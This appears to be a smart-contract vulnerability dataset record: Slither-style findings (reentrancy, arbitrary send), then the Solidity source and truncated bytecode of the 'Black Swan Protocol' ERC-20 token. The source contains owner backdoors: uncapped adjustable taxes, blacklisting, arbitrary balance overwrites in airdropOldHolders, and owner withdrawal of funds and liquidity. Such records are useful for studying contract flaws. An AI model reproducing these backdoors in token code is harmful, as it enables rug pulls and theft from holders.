1362d565b5b6000612c1c84828501612a5f565b91505092915050565b600060208284031215612c3b57612c3a61362d565b5b6000612c4984828501612a74565b91505092915050565b600080600060608486031215612c6b57612c6a61362d565b5b6000612c7986828701612a89565b9350506020612c8a86828701612a89565b9250506040612c9b86828701612a89565b9150509250925092565b6000612cb18383612cbd565b60208301905092915050565b612cc68161345d565b82525050565b612cd58161345d565b82525050565b6000612ce682613303565b612cf08185613326565b9350612cfb836132f3565b8060005b83811015612d2c578151612d138882612ca5565b9750612d1e83613319565b925050600181019050612cff565b5085935050505092915050565b612d428161346f565b82525050565b612d51816134b2565b82525050565b6000612d628261330e565b612d6c8185613337565b9350612d7c8185602086016134c4565b612d8581613632565b840191505092915050565b6000612d9d602383613337565b9150612da882613643565b604082019050919050565b6000612dc0602a83613337565b9150612dcb82613692565b604082019050919050565b6000612de3602283613337565b9150612dee826136e1565b604082019050919050565b6000612e06602283613337565b9150612e1182613730565b604082019050919050565b6000612e29601b83613337565b9150612e348261377f565b602082019050919050565b6000612e4c601583613337565b9150612e57826137a8565b602082019050919050565b6000612e6f602383613337565b9150612e7a826137d1565b604082019050919050565b6000612e92602183613337565b9150612e9d82613820565b604082019050919050565b6000612eb5602083613337565b9150612ec08261386f565b602082019050919050565b6000612ed8602983613337565b9150612ee382613898565b604082019050919050565b6000612efb602583613337565b9150612f06826138e7565b604082019050919050565b6000612f1e602483613337565b9150612f2982613936565b604082019050919050565b6000612f41601783613337565b9150612f4c82613985565b602082019050919050565b6000612f64601883613337565b9150612f6f826139ae565b602082019050919050565b612f838161349b565b82525050565b612f92816134a5565b82525050565b6000602082019050612fad6000830184612ccc565b92915050565b6000604082019050612fc86000830185612ccc565b612fd56020830184612ccc565b9392505050565b6000604082019050612ff16000830185612ccc565b612ffe6020830184612f7a565b9392505050565b600060c08201905061301a6000830189612ccc565b6130276020830188612f7a565b6130346040830187612d48565b6130416060830186612d48565b61304e6080830185612ccc565b61305b60a0830184612f7a565b979650505050505050565b600060208201905061307b6000830184612d39565b92915050565b6000602082019050818103600083015261309b8184612d57565b905092915050565b600060208201905081810360008301526130bc81612d90565b9050919050565b600060208201905081810360008301526130dc81612db3565b9050919050565b600060208201905081810360008301526130fc81612dd6565b9050919050565b6000602082019050818103600083015261311c81612df9565b9050919050565b6000602082019050818103600083015261313c81612e1c565b9050919050565b6000602082019050818103600083015261315c81612e3f565b9050919050565b6000602082019050818103600083015261317c81612e62565b9050919050565b6000602082019050818103600083015261319c81612e85565b9050919050565b600060208201905081810360008301526131bc81612ea8565b9050919050565b600060208201905081810360008301526131dc81612ecb565b9050919050565b600060208201905081810360008301526131fc81612eee565b9050919050565b6000602082019050818103600083015261321c81612f11565b9050919050565b6000602082019050818103600083015261323c81612f34565b9050919050565b6000602082019050818103600083015261325c81612f57565b9050919050565b60006020820190506132786000830184612f7a565b92915050565b600060a0820190506132936000830188612f7a565b6132a06020830187612d48565b81810360408301526132b28186612cdb565b90506132c16060830185612ccc565b6132ce6080830184612f7a565b9695505050505050565b60006020820190506132ed6000830184612f89565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133538261349b565b915061335e8361349b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561339357613392613571565b5b828201905092915050565b60006133a98261349b565b91506133b48361349b565b9250826133c4576133c36135a0565b5b828204905092915050565b60006133da8261349b565b91506133e58361349b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561341e5761341d613571565b5b828202905092915050565b60006134348261349b565b915061343f8361349b565b92508282101561345257613451613571565b5b828203905092915050565b60006134688261347b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134bd8261349b565b9050919050565b60005b838110156134e25780820151818401526020810190506134c7565b838111156134f1576000848401525b50505050565b60006135028261349b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353557613534613571565b5b600182019050919050565b600061354b8261349b565b91506135568361349b565b925082613566576135656135a0565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139e08161345d565b81146139eb57600080fd5b50565b6139f78161346f565b8114613a0257600080fd5b50565b613a0e8161349b565b8114613a1957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c66d7a467f96174d38b704bb4ee7e8ed5a6f0660f1d4517d7c8310fc31526a8d64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,010
0x3f886fc06783f62893e70d538d4aaae86738c642
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract BlackSwanProtocol is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 100000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 6; uint256 private _sellTaxMarketing = 12; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Black Swan Protocol"; string private constant _symbol = "SWAN"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external payable onlyOwner { _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) { return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function emergencyWithdraw(address _token) public onlyOwner { if (_token == address(0)) { owner().call{ value: address(this).balance }(""); } else { IERC20 token = IERC20(_token); uint bal = token.balanceOf(address(this)); token.approve(address(this), bal); token.transfer(owner(), bal); } } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
0x6080604052600436106101fc5760003560e01c8063715018a61161010d578063baa2abde116100a0578063dd62ed3e1161006f578063dd62ed3e146106e1578063e35077971461071e578063ea2f0b3714610747578063f275f64b14610770578063f8b45b051461079957610203565b8063baa2abde14610612578063bc33718214610650578063bfd7928414610679578063cc996899146106b657610203565b80638da5cb5b116100dc5780638da5cb5b1461056857806395d89b41146105935780639e78fb4f146105be578063a9059cbb146105d557610203565b8063715018a6146104f35780637b41192a1461050a578063818a7def146105335780638c0b5e221461053d57610203565b8063351a964d1161019057806363148a501161015f57806363148a50146104245780636b9990531461044d5780636fc3eaec146104765780636ff1c9bc1461048d57806370a08231146104b657610203565b8063351a964d1461037e5780634263ec33146103a9578063437823ec146103d25780635d0044ca146103fb57610203565b806318160ddd116101cc57806318160ddd146102c25780631d60c2b0146102ed57806323b872dd14610316578063313ce5671461035357610203565b8062b8cf2a14610208578063061c82d01461023157806306fdde031461025a578063095ea7b31461028557610203565b3661020357005b600080fd5b34801561021457600080fd5b5061022f600480360381019061022a919061342a565b6107c4565b005b34801561023d57600080fd5b50610258600480360381019061025391906134a9565b6108ee565b005b34801561026657600080fd5b5061026f61098d565b60405161027c919061355e565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190613580565b6109ca565b6040516102b991906135db565b60405180910390f35b3480156102ce57600080fd5b506102d76109e8565b6040516102e49190613605565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f91906134a9565b6109f2565b005b34801561032257600080fd5b5061033d60048036038101906103389190613620565b610a91565b60405161034a91906135db565b60405180910390f35b34801561035f57600080fd5b50610368610b6a565b604051610375919061368f565b60405180910390f35b34801561038a57600080fd5b50610393610b73565b6040516103a091906135db565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906134a9565b610b8a565b005b3480156103de57600080fd5b506103f960048036038101906103f491906136aa565b610c29565b005b34801561040757600080fd5b50610422600480360381019061041d91906134a9565b610d19565b005b34801561043057600080fd5b5061044b6004803603810190610446919061379a565b610dc6565b005b34801561045957600080fd5b50610474600480360381019061046f91906136aa565b610fae565b005b34801561048257600080fd5b5061048b61109e565b005b34801561049957600080fd5b506104b460048036038101906104af91906136aa565b6110af565b005b3480156104c257600080fd5b506104dd60048036038101906104d891906136aa565b61137b565b6040516104ea9190613605565b60405180910390f35b3480156104ff57600080fd5b506105086113c4565b005b34801561051657600080fd5b50610531600480360381019061052c91906134a9565b611517565b005b61053b6115b6565b005b34801561054957600080fd5b50610552611724565b60405161055f9190613605565b60405180910390f35b34801561057457600080fd5b5061057d61172e565b60405161058a9190613821565b60405180910390f35b34801561059f57600080fd5b506105a8611757565b6040516105b5919061355e565b60405180910390f35b3480156105ca57600080fd5b506105d3611794565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190613580565b611b6b565b60405161060991906135db565b60405180910390f35b34801561061e57600080fd5b506106396004803603810190610634919061383c565b611b89565b6040516106479291906138de565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906134a9565b611cda565b005b34801561068557600080fd5b506106a0600480360381019061069b91906136aa565b611d87565b6040516106ad91906135db565b60405180910390f35b3480156106c257600080fd5b506106cb611da7565b6040516106d891906135db565b60405180910390f35b3480156106ed57600080fd5b5061070860048036038101906107039190613907565b611dbe565b6040516107159190613605565b60405180910390f35b34801561072a57600080fd5b50610745600480360381019061074091906134a9565b611e45565b005b34801561075357600080fd5b5061076e600480360381019061076991906136aa565b611ee4565b005b34801561077c57600080fd5b5061079760048036038101906107929190613973565b611fd4565b005b3480156107a557600080fd5b506107ae612086565b6040516107bb9190613605565b60405180910390f35b6107cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906139ec565b60405180910390fd5b60005b81518110156108ea5760016005600084848151811061087e5761087d613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108e290613a6a565b91505061085c565b5050565b6108f6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906139ec565b60405180910390fd5b8060088190555050565b60606040518060400160405280601381526020017f426c61636b205377616e2050726f746f636f6c00000000000000000000000000815250905090565b60006109de6109d7612154565b848461215c565b6001905092915050565b6000600654905090565b6109fa612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e906139ec565b60405180910390fd5b80600a8190555050565b6000610a9e848484612325565b610b5f84610aaa612154565b610b5a8560405180606001604052806028815260200161464060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b10612154565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129799092919063ffffffff16565b61215c565b600190509392505050565b60006008905090565b6000601260169054906101000a900460ff16905090565b610b92612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906139ec565b60405180910390fd5b8060098190555050565b610c31612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906139ec565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d21612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906139ec565b60405180910390fd5b6010548111610dbc57600080fd5b8060108190555050565b610dce612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e52906139ec565b60405180910390fd5b60005b8251811015610fa9576305f5e100828281518110610e7f57610e7e613a0c565b5b6020026020010151610e919190613ab2565b60026000858481518110610ea857610ea7613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610f0157610f00613a0c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100858581518110610f6f57610f6e613a0c565b5b6020026020010151610f819190613ab2565b604051610f8e9190613605565b60405180910390a38080610fa190613a6a565b915050610e5e565b505050565b610fb6612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906139ec565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004790506110ac816129dd565b50565b6110b7612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111ed5761118061172e565b73ffffffffffffffffffffffffffffffffffffffff16476040516111a390613b3d565b60006040518083038185875af1925050503d80600081146111e0576040519150601f19603f3d011682016040523d82523d6000602084013e6111e5565b606091505b505050611378565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161122d9190613821565b602060405180830381865afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190613b67565b90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016112ab929190613b94565b6020604051808303816000875af11580156112ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ee9190613bd2565b508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61131361172e565b836040518363ffffffff1660e01b8152600401611331929190613b94565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190613bd2565b5050505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113cc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611459576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611450906139ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61151f612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906139ec565b60405180910390fd5b80600b8190555050565b6115be612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461164b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611642906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116943061137b565b60008061169f61172e565b426040518863ffffffff1660e01b81526004016116c196959493929190613c44565b60606040518083038185885af11580156116df573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117049190613ca5565b5050506001601260166101000a81548160ff021916908315150217905550565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5357414e00000000000000000000000000000000000000000000000000000000815250905090565b61179c612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611829576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611820906139ec565b60405180910390fd5b601260149054906101000a900460ff1615611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613d44565b60405180910390fd5b6118a830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611915573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119399190613d79565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e69190613d79565b6040518363ffffffff1660e01b8152600401611a03929190613da6565b6020604051808303816000875af1158015611a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a469190613d79565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b25929190613b94565b6020604051808303816000875af1158015611b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b689190613bd2565b50565b6000611b7f611b78612154565b8484612325565b6001905092915050565b600080611b94612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c18906139ec565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663baa2abde8a8a8a8a8a8a8a6040518863ffffffff1660e01b8152600401611c889796959493929190613dcf565b60408051808303816000875af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cca9190613